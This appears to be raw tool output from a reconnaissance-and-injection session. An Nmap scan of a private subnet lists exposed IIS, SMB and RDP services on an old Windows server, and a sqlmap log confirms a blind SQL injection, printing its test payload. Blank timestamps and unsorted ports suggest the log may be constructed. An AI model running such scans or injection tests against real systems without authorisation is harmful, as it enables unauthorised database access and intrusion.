Starting Nmap 7.92 ( https://nmap.org ) at Nmap scan report for 192.168.1.0/24 Host is up (0.0012s latency). Not shown: 251 closed ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5 443/tcp open https Microsoft IIS httpd 7.5 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds 3389/tcp open ms-wbt-server Microsoft Terminal Service

sqlmap 1.5.2 - automatic SQL injection and database takeover tool https://sqlmap.org [*] starting @ [INFO] testing connection to the target URL [INFO] checking if the target is protected by some kind of WAF/IPS [INFO] testing if the URL is stable [INFO] target URL is stable [INFO] testing if GET parameter 'id' is dynamic [INFO] GET parameter 'id' is dynamic [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: MySQL) [INFO] testing for SQL injection on GET parameter 'id' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [INFO] GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 40 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 8747=8747 ---